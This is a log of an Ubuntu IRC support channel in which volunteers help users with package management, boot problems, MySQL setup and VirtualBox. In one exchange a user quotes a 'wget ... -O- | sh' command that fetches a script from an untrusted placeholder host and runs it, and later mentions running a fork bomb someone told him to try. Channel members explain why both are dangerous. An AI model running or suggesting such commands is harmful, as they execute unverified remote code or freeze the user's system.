[17:23] <nemo> jrib: well. don't have it installed on any of my machines, and AFAIK isn't recommended anymore.  wasn't aware of apt-mark.  thanks.
[17:24] <Noize> I keep getting an error when i try to run 'sudo apt-get update'
[17:24] <Noize> error msg: 'E:Encountered a section with no Package: header, E:Problem with MergeList /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_raring_universe_i18n_Translation-en, E:The package lists or status file could not be parsed or opened. '
[17:26] <OerHeks> !raring | Noize
[17:27] <nemo> jrib: weird. that aptitude command is returning stuff that clearly wasn't manually installed :-/
[17:27] <nemo> oh well. back to apt-marks :)
[17:27] <jrib> nemo: packages installed at install time will all be marked as manual I believe
[17:28] <nemo> jrib: ah-hah
[17:28] <zAo^> How can I install Unity on x/lUbuntu without needing to install the whole dummypackage?
[17:28] <betrayd> RageRiot: if you can get a different desktop to run, preferably not compiz, see if the mouse works then. If you know how, add a user to use a differenmt desktop, without compiz
[17:29] <nemo> jrib: ok. but apt-marks showmanual still shows wildly different results from the aptitude command
[17:29] <nemo> jrib: and a much shorter list
[17:29] <nemo> I'm inclined to go w/ the more conservative one :)
[17:29] <betrayd> that log tells us that compiz.desktop is failing and shifts to SW rendering RageRiot
[17:29] <RageRiot> I see
[17:30] <jrib> nemo: I know that in the past they used two different systems (for a long time only aptitude would track manual and auto).  I sort of assumed they eventually used the same system, but that may not be the case (so installing things with aptitude manually would leave apt-get none the wiser and vice versa).  I'm just speculating though
[17:30] <RageRiot> it's odd because --replace makes it work fine. all the 3d works etc
[17:31] <nemo> jrib: hrm... actually. sorry. my bad. diff was being confused by whitespace
[17:31] <nemo> jrib: the aptitude command appears to have a ton of padding whitespace at the end, apt-marks no
[17:31] <betrayd> RageRiot: the -replace works then? pastebin the log before the -replace
[17:31] <nemo> jrib: anyway. thanks. core thing was this manual flag. had no idea about :)
[17:31] <jrib> nemo: good to know
[17:31] <nemo> jrib: shame it tags install packages. was hoping to keep things semi-clean on this fresh install. ah well.
[17:31] <RageRiot> ok
[17:32] <RageRiot> I'll rebot
[17:32] <nemo> perhaps I can do something w/ the log to filter
[17:32] <RageRiot> reboot*
[17:32] <RageRiot> hmm
[17:32] <jrib> nemo: you could generate the list on a pristine install and then subtract those packages
[17:32] <RageRiot> betrayd, how can I copy a log inside the terminal '
[17:33] <WhereIsMySpoon> Hi, I'm getting these errors in the console after launching gedit: http://pastie.org/7647253
[17:33] <nemo> jrib: well. prob is this machine is pretty old.  my thought is the list of installed packages shifts over time. and prob based on architecture.  I'd wanted to do a clean install of whatever version that was on this machine I guess
[17:33] <RageRiot> would it be .old by any chance ?
[17:33] <betrayd> RageRiot: we'd look for a pastebin site with an 'upload file' feature
[17:34] <betrayd> RageRiot: ls -l and see the timestamp
[17:34] <betrayd> RageRiot: ls -l and compare to the one you pasted earlier
[17:34] <anjo5> hello
[17:34] <nabblet> hi, is there a native pdf viewer with "true" pdf annotation? - i found serveral sites that say no, but most of them are a bit outdated
[17:35] <RageRiot> ok
[17:35] <anjo5> have filipino girl here
[17:35] <ShapeShifter499> is there away to preform a full disk encryption after install?
[17:35] <bazhang> anjo5, wrong network
[17:35] <nabblet> lol
[17:35] <betrayd> lol
[17:35] <bazhang> nabblet, why is "true" in quote marks
[17:35] <nemo> nabblet: pdf.js appears to display annotations fine when I access http://www.pdfill.com/example/pdf_commenting_new.pdf in Firefox
[17:35] <MonkeyDust> ShapeShifter499  start here https://help.ubuntu.com/community/EncryptedPrivateDirectory
[17:36] <nemo> admittedly I'm using firefox nightly, but still
[17:36] <nabblet> bazhang: dunno - you're right, now quote marks... i want TRUE annotation support :D
[17:36] <icedwater> Hmm ... got something to figure out. I can't seem to get Ubiquity to install 12.04 on my USB stick.
[17:36] <DexterF> hi
[17:36] <bazhang> nabblet, which have you tried from the repos
[17:36] <nabblet> nemo: bazhang oh, sorry forgot to mention: i want to be the one making the annotiations
[17:36] <DexterF> is there ubuntu for ARM? and are there any tablets one can install it to easily?
[17:37] <nemo> nabblet: that's not a viewer ;)
[17:37] <bazhang> DexterF, try #ubuntu-arm
[17:37] <MonkeyDust> !arm | DexterF
[17:37] <nemo> nabblet: last time I edited a PDF I used the pdf editing extension for openoffice. I have no idea if it does annotation
[17:37] <icedwater> nabblet: I like whyteboard.
[17:37] <nabblet> nemo: bazhang today i am too stupid to form a proper question :/
[17:38] <WhereIsMySpoon> Hi, I'm getting these errors in the console after launching gedit: http://pastie.org/7647253 - what do I do to stop this?
[17:38] <jacklk> At the Ubuntu login screen, shutdown, restart, etc do not work. I think this may be because it needs root privalleges to do this... Can someone help?
[17:39] <nabblet> ok, so ther is no program for linux that does true pdf annotation?
[17:39] <OerHeks> WhereIsMySpoon, those messages are normal, not an error really.
[17:40] <nabblet> sorry have to leave :(
[17:42] <jacklk> At the Ubuntu login screen, shutdown, restart, etc do not work. I think this may be because it needs root privalleges to do this... Can someone help?
[17:43] <buchstabensalat> is there a difference in battery run time between (u|xu|ku|lu)buntu?
[17:44] <mrjoel> i would assume lubuntu would run the longest due to less graphic power required
[17:44] <zAo^> buchstabensalat: since Lubuntu uses less system resources, the battery should be longer
[17:44] <mrjoel> but have no facts to back that up
[17:45] <RageRiot> betrayd gone, I've grabbed log of xsessison before I used unity --replace http://pastebin.com/FfqwTJABe
[17:45] <RageRiot> the issue I'm having it mouse is ignore on unity until I restart it in another console
[17:46] <icedwater> Hi guys, what's the most minimal version of Ubuntu you can install?
[17:46] <icedwater> I'm trying to put it on my USB stick, leaving as much space as possible.
[17:46] <darrell> please help how do i stream from my laptop with ubuntu 12.04 to my LG smart tv over my home network please help thanks ive tried plex ive tried mediatomb and ive tried samba please help thanks
[17:46] <jacklk> icedwater: the alternate iso
[17:47] <icedwater> Hmm, is that even slimmer than server?
[17:47] <jacklk> icedwater: it can be downloaded off of the website, it features a text installer and allows you to install the packages you want
[17:47] <jacklk> icedwater: I think so, have a look
[17:48] <RageRiot> darell the ps3 media server might work?
[17:48] <darrell> i dont have a ps3
[17:48] <RageRiot> doesnt matter

[17:58] <betrayd> kulagrad: grab that folder name and put in variable, more questions for #bash imo
[18:01] <kulagrad> betrayd:  newermind i figur out i just tuped command in text file and save it as .sh and it worked

[18:12] <betrayd> he's doing all of us a favor
[18:12] <RageRiot> it worked without problems before today
[18:13] <betrayd> RageRiot: try it out, even disable your browsers' java
[18:14] <zerooneone> would scripts in rc.local be started last on system boot if i have upstart and init.d jobs?

[18:22] <natsirt> Depending on the operating system....
[18:22] <zerooneone> i just want my local script to start last on reboot. is there a way to do that with upstart?
[18:23] <SolarisBoy> that variable is not to hard to fill in in this channel huh?
[18:23] <natsirt> why is this command considered dangerous? wget http://sumber_tak_terpercaya -O- | sh
[18:23] <SolarisBoy> your exec'ing a script from online somewhere ^ natsirt
[18:23] <SolarisBoy> you can't verify what it does but your sending it to shell -
[18:24] <SolarisBoy> zerooneone: rc.shutdown
[18:24] <natsirt> what, why would someone do that?
[18:24] <SolarisBoy> easy deployment if you do know what the scritp does
[18:24] <natsirt> People on here try to give me bad info
[18:24] <SolarisBoy> a lot of folks do in fact -
[18:24] <MonkeyDust> natsirt  keep the channel clear for support, please
[18:24] <zerooneone> SolarisBoy: sorry i mean the last script to start on system start (after a reboot)
[18:25] <natsirt> wow

[18:25] <bazhang> !ot | natsirt
[18:25] <SolarisBoy> zerooneone: if you use upstart it will be like event based so not sure how to make something the last with upstart. maybe rc.local will help you
[18:25] <John_m> natsirt - troll, ban him
[18:26] <bazhang> John_m, `thats enough
[18:26] <natsirt> I'm not even trolling

[18:26] <bazhang> natsirt, take chit chat elsewhere please this is support ONLY
[18:26] <natsirt> Sorry that I do not know it all
[18:26] <zerooneone> SolarisBoy: ok, but how do i find out when rc.local is run? is it run after all the upstart events?
[18:26] <John_m> why u say noob then?
[18:26] <Pici> Let it go.
[18:26] <SolarisBoy> zerooneone: thats a good question - im not sure
[18:27] <zerooneone> if rc.local is run after upstart, then it's easy i can just put my script in there

[18:32] <bekks> natsirt: Thats a fork bomb.
[18:32] <bekks> Do not run it. Never. Under no circumstances.
[18:33] <bekks> natsirt: And how is it related to vbox?
[18:33] <natsirt> I did twice already
[18:33] <MonkeyDust> natsirt  that's two potentially dangerous commands you're posting in public, what is your end goal?

[18:33] <natsirt> Someone told me to run it
[18:33] <natsirt> but it froze my computer
[18:33] <bekks> natsirt: I told you to not run it.
[18:33] <bekks> It is intended for freezing your computer.
[18:33] <bekks> So do not run it.
[18:33] <natsirt> I'm saying i already did though
[18:33] <bekks> Then dont wonder it froze.
[18:33] <natsirt> bekks: Thank you for the support
[18:34] <pentagonpie> will running a fork bomb in virtualbox affect my host pc?
[18:34] <bekks> pentagonpie: It may, under certain circumstances.
[18:35] <MonkeyDust> pentagonpie  why would you run it?
[18:35] <MonkeyDust> ah, for testing purposes
[18:35] <natsirt> what's a fork bomb
[18:35] <pentagonpie> MonkeyDust: experiment
[18:35] <natsirt> i don't understand
[18:35] <natsirt> Why is Linux so hard!

[18:53] <John_m> ok, but what /dev/?? is that android
[18:54] <zerooneone> the device would be /dev/sdc or something
[18:54] <zerooneone> run dmesg after you plug it in you might see the device
[18:54] <John_m> me too think that, but no
[18:55] <John_m> i run dmesg, he like new usb2-0 bla bla bla but no info about device

[18:58] <bazhang> lzhang, a wubi install?
[18:58] <jellostick> i accidentally installed some packages from raring, but they broke my system.  is there a way I can downgrade everything I installed?
[18:59] <MonkeyDust> jellostick  did you add raring sources?
[18:59] <lzhang> bazhang: not sure what wubi is, but there's definitely some situation with secure boot on the laptop. I wasn't able to get into ubuntu without disabling it in the BIOS. Conversely, I had to enable it to boot into Windows
[18:59] <MonkeyDust> jellostick  or downloaded raring .debs ?
[18:59] <jellostick> .debs
[18:59] <jellostick> afaik
[19:00] <MonkeyDust> jellostick  any error messages?
[19:01] <jellostick> well the origin problem is "glxinfo: error while loading shared libraries: libdrm.so.2: cannot open shared object file: No such file or directory" (for glx info in /usr/lib/i386-linux-gnu)
[19:01] <wilee-nilee> lzhang, Have you looked at the uefi wiki?
[19:02] <jellostick> E: I wasn't able to locate a file for the libdrm2 package. This might mean you need to manually fix this package.
[19:02] <jellostick> same for E: I wasn't able to locate a file for the libdrm-intel1 package. This might mean you need to manually fix this package.
[19:03] <MonkeyDust> jellostick  libdrm, so music, most probably... what .deb did you install?
[19:03] <jellostick> sudo apt-get install --reinstall xserver-xorg-core libgl1-mesa-glx:i386 libgl1-mesa-dri:i386
[19:03] <lastleo85> can we run ubuntu applications in debian
[19:04] <jellostick> now if i do that, Reinstallation of libgl1-mesa-dri is not possible, it cannot be downloaded.
[19:04] <MonkeyDust> jellostick  xserver and xorg are beyond me, sorry
[19:04] <TK-999> lastleo: Is there a specific one?
[19:04] <wilee-nilee> lastleo85, I would ask in #debian, not safely would be my comment in general depends on your skills really. ;)
[19:05] <jellostick> think i need to reinstall
[19:05] <MonkeyDust> jellostick  backup important data, first
[19:06] <lzhang> wilee-nilee: Am I correct in saying that UEFI mode is only available on 12.10+ versions? I'm attempting to get 12.04 LTS installed
[19:06] <John_m> sorry, why someone tell me use mp3 player? this is joke? )
[19:06] <wilee-nilee> lzhang, Supposed to be in the 12.04.2
[19:07] <lzhang> wilee-nilee: Ok so perhaps I installed via BIOS/MBR instead of UEFI, and I should reinstall with that instead
[19:07] <tgm4883> wilee-nilee, I think the secureboot stuff was in 12.04.2
[19:07] <tgm4883> wilee-nilee, IIRC, the UEFI stuff was before that
[19:08] <Mio-chan> Hello everyone! :)
[19:08] <Mio-chan> Just would like to thank wilee-nilee for his help last night. :)
[19:09] <wilee-nilee> lzhang, I can't really help with uefi with confidence, maybe tgm4883 can, my advice would be to use the ubuntu forums, there are daily users there concentrated on this area.
[19:09] <wilee-nilee> Mio-chan, Did you ever get things in order?
[19:09] <tgm4883> I'm not sure what the question is
[19:10] <Mio-chan> Wilee-nilee - I reinstalled Windows and I'm back on my trusty dual boot system - on Ubuntu right now. Only had a few issues during the install but it worked nonetheless.
[19:10] <jost> How do I set the MTU for a VPN connection? The networkmanager does not allow that for VPN connections. On the command line, "sudo ifconfig ppp0 mtu 1300" does the trick, but it needs to be executed for each and every connection.
[19:10] <Mio-chan> Err, I found a W7 iso on PC World's website, used that after I went to buy some DVDs.
[19:10] <wilee-nilee> Mio-chan, Cool, clone that windows, and the ubuntu, that is what I do in general. ;)
[19:11] <Mio-chan> Wilee-nilee - Any suggestions for what I should use for the cloning?
[19:12] <wilee-nilee> Mio-chan, If you have W7 pro or above it has a imager that can be run more than once, I use clonezilla for both and the windows imager as well.
[19:12] <Mio-chan> Wilee-nilee: Thank you! :) You've been a great help.
[19:13] <wilee-nilee> Mio-chan, The windows imager I like as it can be run from the OS, clonezilla ia a bootable disc, no problem best of luck. ;)
[19:13] <wilee-nilee> is*
[19:14] <scar> how can i get an ubuntu server to use htaccess
[19:14] <MonkeyDust> scar  better ask in #ubuntu-server
[19:15] <M3ow> Hello, I have a dual boot system with Win 7 and Debian. I want to install Ubuntu and get rid of Debian. Should I do this by just installing Ubuntu in the Debian partition?
[19:15] <lacrymology> I'm having a lot of issues with a bluetooth dongle
[19:15] <MonkeyDust> M3ow  delete debian, then install ubuntu on that partition
[19:15] <wilee-nilee> M3ow, Not in the same partition unless you rewrite it.
[19:16] <tgm4883> select the debian partition, and tell it to format
[19:16] <wilee-nilee> +1 ^^^
[19:17] <John_m> M3ow , run Ubuntu installation , select replace existing linux system
[19:17] <John_m> .and see how u windows partiotion die... seriosly why that options kill my windows
[19:18] <tgm4883> ?
[19:18] <M3ow> MonkeyDust: Wouldn't that affect the Grub? I don't have a Windows recovery CD.
[19:19] <John_m> M3ow , Ubuntu will rewrite grub, Windows must be there and work
[19:19] <MonkeyDust> M3ow  and there are ways to repair grub, if needed
[19:20] <lacrymology> how can I backport to kernel 3.0?
[19:21] <M3ow> Ok, so here is what I am going to do. Make a bootable USB with the Ubuntu installation and boot from it. Then select the Debian partition (first format) for the installation of Ubuntu. Sounds alright?
[19:22] <MonkeyDust> M3ow  not format, but delete the partition
[19:22] <wilee-nilee> M3ow, You will use the something other option it is a manual install, choose that partition tick format ext4 and / as mount.
[19:22] <MonkeyDust> M3ow  or what wilee-nilee says
[19:23] <wroxbox> Hello all! I have 12.04 LTS 64bit server installed. I have personal account + a specific aegir. I usually log with my personal account and then su -s /bin/bash - aegir as aegir user. With Suse I can configure aegir to sudo without password, but with ubuntu no success. I have changed my personal ssh key into aegir users .ssh/authorized_keys and added aegir   ALL=(ALL:ALL)  NOPASSWD: ALL with visudo.. But the login still asks password.
[19:23] <John_m> M3ow, but really think twice, i lost my 200Gb Windows files and crying now
[19:23] <moon`> I'm trying to mount my cdrom in dosbox, how do I find out what the destination for my cdrom is? i.e. /media/cdrom0 ?
[19:24] <wilee-nilee> John_m, Bummer, but your experience was user error right?
[19:25] <John_m> wilee-nilee, yes
[19:25] <M3ow> Sorry wilee-nilee, I don't understand what you mean by, "use the something other option it is a manual install"
[19:27] <wilee-nilee> M3ow, There is a gui that gives you options in the install, use the whole disc or alongside windows..etc, there is also a something other option, this is a manula install where you specifically point the install to a partitions or build them there and install.
[19:27] <M3ow> Ok, I understand now. Thank you.
[19:27] <wilee-nilee> M3ow, Cool, you will recognize it just ask us if you need to. ;)
[19:28] <alinmear> hi guys! maybe somebody could help me with the following issue: i restarted my OS and now get stuck within the grub boot menu; the whole system does not respond
[19:29] <bazhang> alinmear, what OS
[19:29] <moon`> I'm trying to mount my cdrom in dosbox, how do I find out what the destination for my cdrom is? i.e. /media/cdrom0 ?
[19:29] <wilee-nilee> alinmear, Any info leading to this that is pertinent? Like kernel upgrades or a modified grub menu
[19:30] <John_m> alinmear, u have some error text messages while boot OS?
[19:30] <alinmear> bazhang: ubuntu 12:10
[19:30] <bazhang> moon`, try #dosbox
[19:31] <alinmear> wilee-nilee: i didnt modify anything, obviously its a standard installation of ubuntu; the only modifciations i made: compiled the v4l kernel modules
[19:31] <pcuser> #drupal-support
[19:31] <moon`> ok, I'm trying to locate the directory path for my cdrom, how do I go about doing that?
[19:31] <alinmear> John_m: no there is no error message at all; when i start the comp it gets immediatly after the bios screen stuck within the grub boot screen
[19:32] <John_m> alinmear, select in grub previous kernel to boot
[19:32] <alinmear> John_m: i cant select anything at all; the boot menu appears and at the very same time the whole system freezes
[19:32] <alinmear> John_m: obviously i am not able to select anytihing else
[19:33] <jost> How do I set the MTU *permanentely* for a VPN connection on XUbuntu? I can change it per connection using "sudo ifconfig ppp0 mtu 1300"...
[19:33] <wilee-nilee> alinmear, Be careful with obvious here we only know what you tell us exactly, many varibles.
[19:35] <John_m> alinmear, when u see grub menu u can press down arrow? u have list of otpions or only one string?
[19:36] <alinmear> wilee-nilee: yeah i know that the matter is not that clear and couldnt be; but as long as i am not able to trace the error i dont know what happens right there; i am using linux since 5 years and never had an issue like that; thought maybe anybody else could still pointing at the right direction, maybe a common bug or anything else, but i guess its more special then it looks like at the very first apperance
[19:36] <alinmear> John_m: the problem right there is that the system is totaly frozen; so i cant choose anything else from the grub menu
[19:37] <John_m> alinmear, and boot still happen? grub menu disapper?
[19:37] <wilee-nilee> alinmear, I would see if supergrub will boot you in to avoid having to chroot or other methods so you can deal with it in the OS.
[19:37] <alinmear> John_m: maybe i gonna make a chroot from an usb device and have alook at the logs; but as i mentioned above i never dealed with such an problem
[19:37] <alinmear> John_m: no it sill get stuck at the grub menu
[19:38] <alinmear> John_m: no autoboot, no response to I/O
[19:38] <John_m> alinmear, u have some thing serious, reset BIOS, check hardware
[19:38] <John_m> alinmear, chroot is right direction too
[19:39] <alinmear> John_m: something else screwed my poor htpc
[19:40] <alinmear> John_m: so there is no specific point to make, but thx a lot for all the responses! so i gonna trace it on my own ...
[19:44] <elijah> How do I find out what version of libnotify I am running?
[19:44] <guntbert> !u | John_m
[19:46] <elijah> hmm
[19:46] <sere_29> !r | sere_29
[19:46] <sere_29> !u | sere_29
[19:47] <John_m> elijah, try "dpkg --list | grep libnotify", im not sure
[19:47] <sere_29> hehe
[19:51] <elijah> John_m: That works, thanks
[19:51] <loris2487> ciao!
[19:52] <loris2487> !list
[19:52] <elijah> I have a script I am trying to install that requires pygobject, not sure how to install this, sudo apt-get doesn't work
[19:52] <elijah> sudo apt-get install pygobject  == unable to locate package
[19:53] <Pici> elijah: the package name is python-gobject
[19:53] <elijah> Also it wants perl-HTML-parser but I am not sure how install that eithe
[19:53] <iceroot_> elijah: python-gi-dev or python-gobject-2-dev are the needed package names
[19:53] <Pici> elijah: or python-gi
[19:54] <elijah> sudp apt-get python-gi
[19:54] <iceroot_> elijah: sudo apt-get install packagename
[19:56] <elijah> iceroot_: Thanks, I was trying to run via irssi, I missed the /exec command
[19:57] <andrieux> Anyone speaks french?
[19:57] <theadmin> !fr | andrieux
[19:57] <bekks> !fr | andrieux
[19:57] <iceroot_> elijah: use a real shell instead of using /exec in irssi, specially when its a root-task
[19:57] <iceroot_> elijah: you can easily switch terminals with screen
[19:57] <elijah> Pici: It says python-gi is already installed. When I do a dpkg --list | grep pygobject I get no results
[19:58] <elijah> iceroot_: Yeah, I am using tmux, I would rather be lazy though :D
[19:58] <TacoGeek> omg can someone help me?  I've got some questions about a fresh ubuntu / lamp^ installation.
[19:58] <Pici> elijah: I used apt-cache search python gobject
[19:58] <iceroot_> elijah: you have installed foo and a searching if bar is installed
[20:02] <elijah> iceroot_: Pici Thanks for that, very helpful
[20:02] <Piete> Hey guys, what's that link again for completely removing *buntu_desktop metapackages?
[20:02] <elijah> The script is saying it has a dependency on pygobject >= 3.0
[20:02] <iceroot_> !purekde
[20:02] <iceroot_> Piete: ^
[20:02] <Piete> Danke :)
[20:03] <elijah> Is dpkg --list | grep pygobject the most accurate way to determine if I have it installed?
[20:03] <iceroot_> elijah: no
[20:03] <iceroot_> elijah: dpkg -l | grep packagename   and not dpkg -l | grep some_string_which_is_not_the_packagename
[20:04] <theadmin> python-gi provides 3.2, elijah. Are you sure the script is based on Python2? Because if it's Python 3, you'll need python3-gi
[20:04] <Bodsda> Does anyone know if Ubuntu is planning to to switch from mysql to mariadb?
[20:05] <elijah> theadmin: http://ubuntuone.com/6vXWZ6tPO6kdrWQUSWXNrR
[20:05] <elijah> https://code.google.com/p/irssi-libnotify/
[20:05] <iceroot_> Bodsda: its more like "is debian switichting to mariadb"
[20:05] <elijah> This is what I am trying to install. I am trying to just make sure I have all dependcies first. Because I couldn't get it working so far.
[20:06] <Bodsda> iceroot_: great answer...
[20:06] <theadmin> elijah: "For Ubuntu, run apt-get install perl perl-base perl-modules system-tools-backends so the script will have dependencies needed. " -- right on their page. So, do that.
[20:06] <iceroot_> Bodsda: what is your problem with the answer?
[20:06] <iceroot_> Bodsda: if there is no special reason we will sync the debian packages
[20:06] <theadmin> Bodsda: You know Debian... They never change anything :/ So likely not
[20:07] <iceroot_> theadmin: they switched to libreoffice imo
[20:07] <theadmin> iceroot_: That's because OO.o was killed
[20:07] <theadmin> iceroot_: They also switched to MATE instead of GNOME 2.x
[20:07] <elijah> theadmin: Okay, I have all those so I guess it isn't that then.
[20:07] <iceroot_> theadmin: i thought xfce4 is the default there (but i guess its offtopic here)
[20:07] <theadmin> iceroot_: Oh, err, might be confusing them with... mint? idk
[20:07] <theadmin> iceroot_: Well yeah, ot so whatever
[20:09] <iceroot_> Bodsda: http://lists.debian.org/debian-user/2012/11/msg01265.html
[20:10] <iceroot_> Bodsda: see also http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=565308   imo ubuntu will switch when debian will do it
[20:11] <Bodsda> iceroot_: yeah, I'm seeing similar email trails all over the place - no concrete info for ubuntu/debian yet but fedora, slackware and Arch have (or just as good as) switched - opensuse looks to follow suite
[20:12] <iceroot_> Bodsda:  i hope the rest will switch too. we are interested in free software and i guess mariadb is the correct way to go but i dont think it will be switched in the next time
[20:12] <theadmin> iceroot_: uh, MySQL is free software too
[20:13] <iceroot_> theadmin: its like virtualbox-ose and virtualbox
[20:13] <Bodsda> iceroot_: I wish ubuntu would switch. It's lack of attention to community wide issues is depressing - you keep saying 'we' are you an employee or a dev?
[20:13] <theadmin> iceroot_: Oh.
[20:13] <theadmin> iceroot_: Well, there no longer is an OSE but I get the point :D
[20:13] <iceroot_> theadmin: or like oracle-java and openjdk
[20:13] <iceroot_> theadmin: and guess what? virtualbox, java and mysql are all from oracle and they destroy free software
[20:14] <bekks> iceroot_: Nope. OpenJDK is no reference implementation, isnt it?
[20:14] <iceroot_> bekks: but that is one of the goal (from there website)
[20:14] <theadmin> ...wait, Oracle owns MySQL?... Suddenly. I missed one big piece of news
[20:15] <iceroot_> theadmin: they own everything from sun, virtualbox, mysql, java, openoffice
[20:15] <Bodsda> theadmin: seriously? ...
[20:15] <iceroot_> theadmin: openoffice is moved to apache now
[20:15] <Bodsda> theadmin: it was ages ago
[20:15] <kostkon> theadmin, oracle bought sun, sun is now dead, etc.
[20:15] <bekks> theadmin: Thats a news thats few years old now.
[20:15] <theadmin> Ehhh alright I get it people
[20:15] <theadmin> lol don't lynch me
[20:15] <Bodsda> heh
[20:16] <iceroot_> Bodsda: but i am happy to see people like you which are interested in Free Software.
[20:17] <Bodsda> iceroot_: :) now, time for me to figure out how to replace mysql with mariadb in place on 13.04 RC -- gonna be a long night :)
[20:18] <theadmin> Bodsda: They claim it's a drop-in replacement, remove one install other
[20:19] <elijah> It is working now, I restarted Ubuntu and I think my startup script actually needed to be a started up (manually running it didn't work)
[20:19] <elijah> thanks for all your help everyone (and patience ;)
[20:19] <bekks> Bodsda: Export your data first. :)
[20:19] <Bodsda> theadmin: they also claim that ATI drivers work and that unity is good - I'll take it with a pinch of salt :)
[20:19] <TacoGeek> Alright, who's awesome with LAMP installations?  :D
[20:19] <Pici> !ask
[20:19] <Bodsda> bekks: heh - yeah good point
[20:19] <theadmin> Bodsda: Why does noone except me like Unity :/
[20:20] <bekks> theadmin: Me does :)
[20:20] <theadmin> bekks: Yay
[20:20] <Bodsda> theadmin: bekks - I'm afraid theres nothing left we can do for you - please accept this copy of Win8
[20:21] <bekks> Bodsda: Whatever you are talking about.
[20:21] <theadmin> Bodsda: ...I'm afraid Unity appeared a lot earlier than Windows 8.
[20:22] <Bodsda> theadmin: bekks - no one but me got the reference to a unified interface being a main reason for lack of adoption? :(
[20:22]  * theadmin hardly understands anything, it's almost 1AM
[20:22] <Bodsda> heh
[20:22] <TacoGeek> Fresh install of 12.10 ubuntu, I've done almost nothing with it.  My main login is sysop (as ubuntu and root don't seem to go well together).  I've installed lamp^ using apt-get, everything installed fine.  Now I'm trying to change the mysql password, and am having nothing but problems.  I can log into mysql with NO password, but whenever I try to do anything, it says ''@'localhost' doesn't have permission...  What's the default us
[20:23] <Bodsda> TacoGeek: It asked you for a password during the install
[20:23] <theadmin> TacoGeek: root, and the password should have been prompted during the MySQL setup.
[20:23] <theadmin> TacoGeek: The mysql root and the UNIX root aren't the same thing :P
[20:24] <TacoGeek> the lamp setup didn't seem to give me a password option.  :/  Maybe I need to back-track to fresh ubuntu install and try that again, but I don't recall getting the option.
[20:25] <theadmin> TacoGeek: Try sudo dpkg-reconfigure mysql-server-5.5 (or whichever is there on your Ubuntu version)
[20:26] <bekks> TacoGeek: Which lamp setup? Did you install the lamp software to /opt/?
[20:27] <bbbbb> i "skipped network settings" on my ubuntu install. Now I want to enable my nice cards, eth0 and eth1. where can i find documenttation on that?
[20:28] <TacoGeek> theadmin:  omg, it was that easy?!  I really REALLY don't think that the lamp install gave me that option.  I might just re-do the install from scratch to make sure, and if not, would that be a bug?
[20:29] <Bodsda> TacoGeek: the reconfigure effectively reruns the install scripts, so whatever happens would have happened during initial install
[20:29] <theadmin> TacoGeek: It wouldn't if you installed from the GUI, because that skips several configs falling back to some defaults I don't even know
[20:29] <Bodsda> oo, really?
[20:30] <theadmin> Bodsda: Yeah, at least last I checked the software center had no way to interact with those ncurses config scripts
[20:30] <tworkin> is there a package that implements the features in libuu? e.g. for commandline base64 encoding/decoding?
[20:31] <TacoGeek> theadmin:  that may be what happened then.  I was pulling my hair out, reading every guide, and was wondering why some guides had those old-school shell "gui" look, and others didn't, it was just the sudo apt-get install lamp^ with nothing else.
[20:31] <Bodsda> theadmin: never would have happened with good old synaptic :)
[20:31] <tworkin> ah, coreutils
[20:31] <wilee-nilee> bbbbb, Can you identify them from lspci in the terminal?
[20:31] <lancien> bonsoitr
[20:31] <lancien> quelle est la commande qui suit apt-get install X pour faire suivre l'(installation d'un autre paquet par exemple Y
[20:32] <theadmin> Bodsda: Synaptic is confusing for new users -- they don't understand the concept of packages, trust me on that
[20:32] <theadmin> !fr | lancien
[20:32] <emanuel_> se habla en español?
[20:32] <DJones> !es | emanuel_
[20:32] <lancien> Sorry!
[20:32] <lancien> :D
[20:32] <bekks> theadmin: Those users wouldnt understand that downlaoding an .exe and doubleclick it would install some software, too ;)
[20:32] <emanuel_> #ubuntu-es
[20:33] <Bodsda> theadmin: dumbing down software for incompetent users doesn't always produce better results though
[20:33] <lancien> i want to install with apt-get install X but i have to install X and Y and ..... and i search for command look like apt-get install X && Y && .... to install allthem with one command ! THANKS :D
[20:33] <lancien> sorry but i'm very bad @ english
[20:33] <Bodsda> lancien: apt-get install x y
[20:34] <kirre> hi guys: i have currently problems installing an nvdida driver after a fresh install of 12.04. any help will be appreciated
[20:34] <lancien> Thanks Bodsda
[20:34] <lancien> :D
[20:34] <Bodsda> lancien: no problem
[20:34] <lancien> :D
[20:37] <AkstonH> Hi guys, is there a dpkg command that lists all the packages owned by a metapackage?
[20:37] <hendrelouw73> What is the advantage of using update-alternative to install the Java JDK as opposed to just setting the path?
[20:37] <wilee-nilee> !details > kirre
[20:37] <bekks> A metapackage does not own any packages.
[20:37] <Rallias> According to the second answer on http://askubuntu.com/questions/165192/how-do-i-install-drivers-for-the-atheros-ar8161-ethernet-controller , I need to install linux-backports-modules-cw-3.4-precise-generic to access my ethernet card. However, I can't find an equivelant package for quantal. Is there an equivelant package that requires me not to compile it?
[20:38] <bekks> AkstonH: A metapackage depends on several other packages, and pulls them in when being installed.
[20:38] <Rallias> s/requires me/doesn't require me/
[20:38] <zykotick9> AkstonH: i use "apt-cache depends METAPACKAGE"
[20:38] <AkstonH> Aha, thanks bekks and zykotick9
[20:40] <bbbbb> wilee-nilee: ifconfig eth0 up worked :)
[20:40] <kirre> wilee-nilee i tried to install the version currend [recommended] and it does not work, i have ubuntu12.04 precise and work with a G71 [Quadro FX 1500]        vendor: NVIDIA Corporation card
[20:44] <AkstonH> bekks, is there a difference between a meta package and a virtual package? Sorry I'm just trying to get a grip on this stuff :)
[20:44] <theadmin> AkstonH: "virtual package" covers transitional packages too
[20:44] <bekks> AkstonH: Yes, there is. :)
[20:45] <Guest2110> hi
[20:46] <duanedesign> so it is like a dummy package
[20:46] <duanedesign> ?
[20:46] <AkstonH> theadmin, tx
[20:46] <geek15> Is the release candidate for Ubuntu 13.04 going to be published today?
[20:47] <Guest2110> i need help iam setting up virtualbox its very slow and lags im woundering if i have the virtualbox set up right im not sure what mb to set it too
[20:48] <theadmin> geek15: https://wiki.ubuntu.com/RaringRingtail/ReleaseSchedule and also #ubuntu+1
[20:48] <bekks> Guest2110: What do you mean by "mb"=
[20:48] <theadmin> bekks: That means "maybe"
[20:48] <theadmin> !u | Guest2110
[20:50] <halo11> hi
[20:50] <halo11> need help
[20:51] <geek15> theadmin: The schedule calls for the release candidate to be released on April 18th (today), but I can't find it online yet.
[20:51] <geek15> halo11: What do you need help with? Maybe I can help you.
[20:52] <halo11> im setting up virtualbox first time its very slow and lags im not sure if i have the right mb set
[20:52] <theadmin> geek15: Might need to wait, again, ask in #ubuntu+1
[20:52] <theadmin> halo11: What guest OS are you running?
[20:52] <bekks> halo11: Which host OS are you running exactly, and which vbox version?
